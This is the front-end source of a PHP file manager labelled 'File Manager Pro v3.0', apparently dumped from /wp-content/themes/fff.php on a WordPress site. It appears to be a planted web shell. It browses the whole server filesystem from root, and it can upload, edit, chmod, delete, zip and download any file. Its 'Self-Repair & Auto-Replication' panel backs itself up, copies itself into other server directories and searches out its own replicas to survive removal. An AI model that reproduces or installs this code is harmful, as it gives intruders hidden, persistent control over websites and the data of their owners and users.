            $parts = explode('/', str_replace('\\', '/', $base_path));
            $cumulative = '';
            foreach ($parts as $index => $part) {
                if (empty($part)) continue;
                $cumulative .= '/' . $part;
                $is_last = ($index === count($parts) - 1);
                
                echo '<span class="separator">›</span>';
                if ($is_last) {
                    echo '<span class="current">' . htmlspecialchars($part) . '</span>';
                } else {
                    echo '<a href="?path=' . urlencode($cumulative) . '">' . htmlspecialchars($part) . '</a>';
                }
            }
            ?>
        </div>
        <div class="wfm-nav-buttons">
            <button class="button" onclick="goToParent()">⬆ Up</button>
            <button class="button button-primary-nav" onclick="goToRoot()">🏠 Root</button>
            <button class="button" onclick="goToHome()">👤 Home</button>
        </div>
    </div>

<div class="wfm-path-nav">
        <div class="wfm-path-nav-inner">
            <span class="nav-icon">🔍</span>
            <input type="text" id="wfm-path-input" 
                   value="<?php echo htmlspecialchars($base_path); ?>" 
                   placeholder="Enter full path to navigate (e.g., /var/www/html)..."
                   onkeydown="if(event.key==='Enter') goToPath()">
            <button class="button button-primary" onclick="goToPath()">🚀 Go</button>
            <button class="button" onclick="document.getElementById('wfm-path-input').value='<?php echo addslashes(dirname(__FILE__)); ?>'; goToPath()">↺ Reset</button>
        </div>
    </div>

<?php if (isset($_SESSION['fm_message'])): ?>
        <div class="wfm-message <?php echo $_SESSION['fm_message_type']; ?>">
            <span class="message-icon"><?php echo $_SESSION['fm_message_type'] === 'error' ? '❌' : '✅'; ?></span>
            <?php echo htmlspecialchars($_SESSION['fm_message']); ?>
        </div>
        <?php unset($_SESSION['fm_message'], $_SESSION['fm_message_type']); ?>
    <?php endif; ?>

<div class="wfm-toolbar">
        <button class="button button-primary" onclick="showModal('upload')">📤 Upload</button>
        <button class="button button-success" onclick="showModal('folder')">📁 New Folder</button>
        <button class="button" onclick="showModal('file')">📄 New File</button>
        <button class="button button-warning" onclick="showModal('self_repair')">🔧 Self-Repair</button>
        <span class="wfm-spacer"></span>
        <span class="wfm-item-count" onclick="showModal('items_info')">
            📦 <span class="count-number"><?php 
                if (is_dir($base_path) && is_readable($base_path)) {
                    echo count(scandir($base_path)) - 2;
                } else {
                    echo '0';
                }
            ?></span> items
        </span>
    </div>

<div class="wfm-table-container">
        <?php
        if (!is_dir($base_path) || !is_readable($base_path)) {
            echo '<div class="wfm-empty">
                <span class="empty-icon">🚫</span>
                <div class="empty-title">Directory Not Accessible</div>
                <div class="empty-desc">Please check permissions or enter a valid path</div>
            </div>';
        } else {
            $items = scandir($base_path);
            $files = $folders = [];
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $base_path . '/' . $item;
                if (is_dir($path)) {
                    $folders[] = $item;
                } else {
                    $files[] = $item;
                }
            }
            sort($folders);
            sort($files);
            $all_items = array_merge($folders, $files);

if (empty($all_items)) {
                echo '<div class="wfm-empty">
                    <span class="empty-icon">📂</span>
                    <div class="empty-title">This Directory is Empty</div>
                    <div class="empty-desc">Upload files or create new folders to get started</div>
                </div>';
            } else {
                ?>
                <table class="wfm-table">
                    <thead>
                        <tr>
                            <th style="width:25%;">Name</th>
                            <th style="width:10%;">Size</th>
                            <th style="width:15%;">Modified</th>
                            <th style="width:10%;">Permissions</th>
                            <th style="width:40%;">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php foreach ($all_items as $item):
                        $path = $base_path . '/' . $item;
                        $is_dir = is_dir($path);
                        $is_zip = !$is_dir && is_zip_file($path);
                        $size = $is_dir ? '-' : format_size(filesize($path));
                        $modified = date('Y-m-d H:i', filemtime($path));
                        $perms = substr(sprintf('%o', fileperms($path)), -4);
                        $icon = $is_dir ? '📁' : get_file_icon($item);
                    ?>
                        <tr>
                            <td>
                                <span class="file-icon"><?php echo $icon; ?></span>
                                <span class="file-name">
                                    <?php if ($is_dir): ?>
                                        <a href="?path=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($item); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item); ?>
                                    <?php endif; ?>
                                </span>
                            </td>
                            <td class="file-size"><?php echo $size; ?></td>
                            <td class="file-modified"><?php echo $modified; ?></td>
                            <td><span class="file-perms"><?php echo $perms; ?></span></td>
                            <td>
                                <div class="file-actions">
                                    <?php if (!$is_dir): ?>
                                        <a href="?action=download&file=<?php echo urlencode($path); ?>" class="action-download">⬇ Download</a>
                                        <a href="#" class="action-edit" onclick="editFile('<?php echo addslashes($path); ?>'); return false;">✏ Edit</a>
                                    <?php endif; ?>
                                    <a href="#" class="action-rename" onclick="renameItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">🔄 Rename</a>
                                    <a href="#" class="action-chmod" onclick="chmodItem('<?php echo addslashes($path); ?>', '<?php echo $perms; ?>'); return false;">🔒 Chmod</a>
                                    <?php if ($is_dir): ?>
                                        <a href="#" class="action-zip" onclick="zipItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">📦 ZIP</a>
                                    <?php elseif ($is_zip): ?>
                                        <a href="#" class="action-unzip" onclick="unzipItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">📂 UNZIP</a>
                                    <?php endif; ?>
                                    <a href="#" class="delete-link" onclick="deleteItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">🗑 Delete</a>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
                <?php
            }
        }
        ?>
    </div>
    
    
    <div style="background: #f9fafb; padding: 15px 30px; border-top: 1px solid #e5e7eb; text-align: center; font-size: 12px; color: #9ca3af;">
        <span>File Manager Pro v3.0</span>
        <span style="margin: 0 10px;">·</span>
        <span>WooCommerce Style Interface</span>
        <span style="margin: 0 10px;">·</span>
        <span>🔒 Secure File Management</span>
        <span style="margin: 0 10px;">·</span>
        <span>🔄 Self-Restoration & Auto-Replication</span>
    </div>
</div>

<div id="wfm-modal" class="wfm-modal" onclick="if(event.target===this) hideModal()">
    <div class="wfm-modal-content">
        <div class="wfm-modal-header">
            <h2>
                <span class="modal-icon" id="wfm-modal-icon">📄</span>
                <span id="wfm-modal-title">Title</span>
            </h2>
            <button class="wfm-modal-close" onclick="hideModal()">×</button>
        </div>
        <div class="wfm-modal-body" id="wfm-modal-body"></div>
        <div class="wfm-modal-footer">
            <button class="button" onclick="hideModal()">Cancel</button>
            <button class="button button-primary" id="wfm-modal-submit">Submit</button>
        </div>
    </div>
</div>

function goToPath() {
    const path = document.getElementById('wfm-path-input').value.trim();
    if (path) {
        window.location.href = '?path=' + encodeURIComponent(path);
    }
}

function goToParent() {
    const current = '<?php echo addslashes($base_path); ?>';
    const parent = current.substring(0, current.lastIndexOf('/'));
    if (parent) {
        window.location.href = '?path=' + encodeURIComponent(parent || '/');
    }
}

function goToRoot() {
    window.location.href = '?path=/';
}

function goToHome() {
    window.location.href = '?path=<?php echo addslashes(getenv('HOME') ?: '/home'); ?>';
}

// ============ ZIP FUNCTIONS ============
function zipItem(path, name) {
    const modal = document.getElementById('wfm-modal');
    document.getElementById('wfm-modal-icon').textContent = '📦';
    document.getElementById('wfm-modal-title').textContent = 'Compress to ZIP';
    document.getElementById('wfm-modal-body').innerHTML = `
        <label>Item to compress:</label>
        <input type="text" value="${name}" readonly style="background:#f3f4f6; cursor: not-allowed;">
        <label>ZIP file name:</label>
        <input type="text" id="wfm-zip-name" value="${name}.zip" autofocus>
        <span class="wfm-help-text">📦 This will create a ZIP archive of the selected folder/file</span>
    `;
    document.getElementById('wfm-modal-submit').style.display = 'inline-flex';
    document.getElementById('wfm-modal-submit').textContent = '📦 Create ZIP';
    document.getElementById('wfm-modal-submit').onclick = () => {
        const zipName = document.getElementById('wfm-zip-name').value.trim();
        if (!zipName) { alert('⚠️ Please enter a name for the ZIP file'); return; }
        if (!/^[a-zA-Z0-9_\-\.]+$/.test(zipName)) {
            alert('❌ Invalid name. Use letters, numbers, underscores, or hyphens.');
            return;
        }
        fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: `ajax_action=zip&path=${encodeURIComponent(path)}&name=${encodeURIComponent(zipName)}`
        }).then(r => r.json()).then(data => {
            if (data.success) {
                alert('✅ ' + data.message);
                location.reload();
            } else {
                alert('❌ ' + data.message);
            }
        });
    };
    modal.style.display = 'block';
    setTimeout(() => document.getElementById('wfm-zip-name').focus(), 100);
}

// ============ SELF-REPAIR FUNCTIONS ============
function createBackup() {
    fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: `ajax_action=create_backup`
    }).then(r => r.json()).then(data => {
        if (data.success) {
            alert('✅ ' + data.message);
            location.reload();
        } else {
            alert('❌ ' + data.message);
        }
    });
}

// ============ MODAL FUNCTIONS ============
function showModal(type) {
    const modal = document.getElementById('wfm-modal');
    const title = document.getElementById('wfm-modal-title');
    const icon = document.getElementById('wfm-modal-icon');
    const body = document.getElementById('wfm-modal-body');
    const submit = document.getElementById('wfm-modal-submit');
    
    let html = '';
    let submitText = 'Submit';
    let submitAction = null;
    let modalIcon = '📄';
    let showSubmit = true;
    
    switch(type) {
        case 'upload':
            modalIcon = '📤';
            title.textContent = 'Upload File';
            html = `
                <label>Select file to upload:</label>
                <input type="file" id="wfm-upload-file">
                <label>Target directory:</label>
                <input type="text" value="${basePath}" readonly style="background:#f3f4f6; cursor: not-allowed;">
                <span class="wfm-help-text">📤 Files will be uploaded to the current directory</span>
            `;
            submitText = 'Upload';
            submitAction = () => {
                const fileInput = document.getElementById('wfm-upload-file');
                if (fileInput.files.length === 0) { alert('⚠️ Please select a file to upload'); return; }
                const formData = new FormData();
                formData.append('ajax_action', 'upload');
                formData.append('path', basePath);
                formData.append('file', fileInput.files[0]);
                fetch('', { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(data => {
                        if (data.success) {
                            alert('✅ ' + data.message);
                            location.reload();
                        } else {
                            alert('❌ ' + data.message);
                        }
                    });
            };
            break;
            
        case 'folder':
            modalIcon = '📁';
            title.textContent = 'Create New Folder';
            html = `
                <label>Folder name:</label>
                <input type="text" id="wfm-folder-name" placeholder="my_new_folder" autofocus>
                <span class="wfm-help-text">📁 Enter a name for the new folder (letters, numbers, underscores, hyphens)</span>
            `;
            submitText = 'Create Folder';
            submitAction = () => {
                const name = document.getElementById('wfm-folder-name').value.trim();
                if (!name) { alert('⚠️ Please enter a folder name'); return; }
                if (!/^[a-zA-Z0-9_\-\.]+$/.test(name)) {
                    alert('❌ Folder name contains invalid characters. Use letters, numbers, underscores, or hyphens.');
                    return;
                }
                fetch('', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                    body: `ajax_action=folder&path=${encodeURIComponent(basePath)}&name=${encodeURIComponent(name)}`
                }).then(r => r.json()).then(data => {
                    if (data.success) {
                        alert('✅ ' + data.message);
                        location.reload();
                    } else {
                        alert('❌ ' + data.message);
                    }
                });
            };
            break;
            
        case 'file':
            modalIcon = '📄';
            title.textContent = 'Create New File';
            html = `
                <label>File name:</label>
                <input type="text" id="wfm-file-name" placeholder="my_file.txt" autofocus>
                <span class="wfm-help-text">📄 Include file extension (e.g., .txt, .php, .html, .css, .js)</span>
            `;
            submitText = 'Create File';
            submitAction = () => {
                const name = document.getElementById('wfm-file-name').value.trim();
                if (!name) { alert('⚠️ Please enter a file name'); return; }
                if (!/^[a-zA-Z0-9_\-\.]+$/.test(name)) {
                    alert('❌ File name contains invalid characters. Use letters, numbers, underscores, or hyphens.');
                    return;
                }
                fetch('', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                    body: `ajax_action=file&path=${encodeURIComponent(basePath)}&name=${encodeURIComponent(name)}`
                }).then(r => r.json()).then(data => {
                    if (data.success) {
                        alert('✅ ' + data.message);
                        location.reload();
                    } else {
                        alert('❌ ' + data.message);
                    }
                });
            };
            break;
            
        case 'self_repair':
            modalIcon = '🔧';
            title.textContent = 'Self-Repair & Auto-Replication';
            html = `
                <div style="margin-bottom: 20px;">
                    <h3 style="color: #7c3aed; margin-bottom: 10px;">🔄 Self-Restoration</h3>
                    <div style="display: flex; gap: 10px; margin-bottom: 15px;">
                        <button onclick="createBackup()" class="button button-success" style="flex:1; padding: 10px; background: #16a34a; color: #fff; border: none; border-radius: 6px; cursor: pointer;">💾 Create Backup</button>
                        <button onclick="restoreBackup()" class="button button-warning" style="flex:1; padding: 10px; background: #d97706; color: #fff; border: none; border-radius: 6px; cursor: pointer;">↩️ Restore Backup</button>
                    </div>
                    <span class="wfm-help-text">📌 Create a backup of this file manager or restore from existing backup</span>
                </div>
                
                <div style="margin-bottom: 20px; border-top: 1px solid #e5e7eb; padding-top: 20px;">
                    <h3 style="color: #7c3aed; margin-bottom: 10px;">📦 Auto-Replication</h3>
                    <label>Target directory for replication:</label>
                    <div style="display: flex; gap: 10px;">
                        <input type="text" id="wfm-replicate-target" placeholder="/path/to/destination" style="flex:1;">
                        <button onclick="replicateToDirectory()" class="button button-primary" style="padding: 10px 20px;">📋 Replicate</button>
                    </div>
                    <span class="wfm-help-text">📌 Replicate this file manager to another directory on the server</span>
                </div>
                
                <div style="border-top: 1px solid #e5e7eb; padding-top: 20px;">
                    <button onclick="getReplicas()" class="button" style="width:100%; padding: 10px;">🔍 Find All Replicas</button>
                    <span class="wfm-help-text">📌 Discover all copies of this file manager on the server</span>
                </div>
            `;
            submitText = 'Close';
            showSubmit = false;
            submitAction = () => {
                hideModal();
            };
            break;
            
        case 'items_info':
            modalIcon = '📊';
            title.textContent = 'Directory Information';
            const totalItems = <?php echo is_dir($base_path) && is_readable($base_path) ? count(scandir($base_path)) - 2 : 0; ?>;
            const totalFolders = <?php 
                if (is_dir($base_path) && is_readable($base_path)) {
                    $items = scandir($base_path);
                    $count = 0;
                    foreach ($items as $item) {
                        if ($item !== '.' && $item !== '..' && is_dir($base_path . '/' . $item)) $count++;
                    }
                    echo $count;
                } else echo '0';
            ?>;
            const totalFiles = <?php 
                if (is_dir($base_path) && is_readable($base_path)) {
                    $items = scandir($base_path);
                    $count = 0;
                    foreach ($items as $item) {
                        if ($item !== '.' && $item !== '..' && !is_dir($base_path . '/' . $item)) $count++;
                    }
                    echo $count;
                } else echo '0';
            ?>;
            html = `
                <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 15px;">
                    <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
                        <div style="font-size: 32px; margin-bottom: 5px;">📂</div>
                        <div style="font-size: 24px; font-weight: 700; color: #7c3aed;">${totalItems}</div>
                        <div style="font-size: 13px; color: #6b7280;">Total Items</div>
                    </div>
                    <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
                        <div style="font-size: 32px; margin-bottom: 5px;">🗂️</div>
                        <div style="font-size: 24px; font-weight: 700; color: #059669;">${totalFolders}</div>
                        <div style="font-size: 13px; color: #6b7280;">Folders</div>
                    </div>
                    <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
                        <div style="font-size: 32px; margin-bottom: 5px;">📄</div>
                        <div style="font-size: 24px; font-weight: 700; color: #2563eb;">${totalFiles}</div>
                        <div style="font-size: 13px; color: #6b7280;">Files</div>
                    </div>
                    <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;">
                        <div style="font-size: 32px; margin-bottom: 5px;">📍</div>
                        <div style="font-size: 14px; font-weight: 500; color: #1f2937; word-break: break-all;">${basePath}</div>
                        <div style="font-size: 13px; color: #6b7280;">Current Path</div>
                    </div>
                </div>
            `;
            submitText = 'Close';
            showSubmit = false;
            submitAction = () => {
                hideModal();
            };
            break;
            
        default:
            return;
    }
    
    icon.textContent = modalIcon;
    body.innerHTML = html;
    submit.textContent = submitText;
    submit.style.display = showSubmit ? 'inline-flex' : 'none';
    submit.onclick = submitAction;
    modal.style.display = 'block';
    
    // Focus on first input
    setTimeout(() => {
        const firstInput = body.querySelector('input:not([readonly])');
        if (firstInput) firstInput.focus();
    }, 100);
}

function hideModal() {
    document.getElementById('wfm-modal').style.display = 'none';
}

// Close modal on Escape key
document.addEventListener('keydown', (e) => {
    if (e.key === 'Escape') hideModal();
});

// Keyboard shortcuts
document.addEventListener('keydown', (e) => {
    // Ctrl+U = Upload
    if (e.ctrlKey && e.key === 'u') {
        e.preventDefault();
        showModal('upload');
    }
    // Ctrl+F = New Folder
    if (e.ctrlKey && e.key === 'f') {
        e.preventDefault();
        showModal('folder');
    }
    // Ctrl+N = New File
    if (e.ctrlKey && e.key === 'n') {
        e.preventDefault();
        showModal('file');
    }
    // Ctrl+R = Self-Repair
    if (e.ctrlKey && e.key === 'r') {
        e.preventDefault();
        showModal('self_repair');
    }
});
</script>
</body>
</html>

文件操作 - fff.php

文件: /var/www/ltlcompare.com/wp-content/themes/fff.php

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